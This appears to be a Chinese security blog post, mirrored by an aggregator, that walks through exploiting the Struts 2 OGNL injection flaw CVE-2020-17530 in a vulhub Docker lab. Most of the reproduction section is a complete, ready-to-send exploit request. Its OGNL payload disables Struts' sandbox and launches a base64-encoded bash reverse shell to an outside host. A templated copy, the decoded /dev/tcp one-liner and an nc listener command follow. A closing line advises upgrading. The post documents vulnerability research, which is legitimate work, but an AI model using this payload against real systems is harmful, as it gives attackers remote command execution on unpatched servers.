6

CVE-2020-17530 Struts远程代码执行

 2 years ago
source link: https://as1def.github.io/2020/12/28/CVE-2020-17530-Struts%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2020-17530 Struts远程代码执行

发表于

2020-12-28 更新于 2021-04-02

阅读次数: 11
本文字数: 2.3k 阅读时长 ≈ 2 分钟

image-20210402220435850

CVE-2020-17530:Struts2远程代码执行漏洞

0x01 简介

2020年12月08日,360CERT监测发现 struts2 发布了 struts2 代码执行漏洞 的风险通告,该漏洞编号为 CVE-2020-17530 ,漏洞等级:高危 ,漏洞评分:7.5

在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行

0x02 影响版本

Struts 2.0.0 – Struts 2.5.25

0x03 环境搭建

docker-compose.yml

version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"

1、启动strusts 2.5.25环境

docker-compose up -d

2、容器启动后,访问首页:

http://your_ip:8080/index.action

image-20210402140658938

0x04 漏洞详情

Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{…} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析。攻击者可以通过构造恶意的OGNL表达式来利用此漏洞,最终造成远程代码执行。

0x05 漏洞复现

以POST方式发送如下数据包,而后进行反弹shell

POST /index.action HTTP/1.1
Host: 116.62.180.141:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 921

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTgwLjE0MS81MDA1IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

image-20210402210826102

2、反弹shell部分

(#arglist.add("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))

base64部分为linux执行反弹shell的命令:

bash -i >& /dev/tcp/your_ip/port 0>&1

3、攻击机端口监听

nc -lvvp port

发送数据包,反弹shell

0x06 防御措施

Struts 2.5.25以上版本不存在该漏洞,建议升级Struts 2版本。

----------------本文结束感谢阅读----------------

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK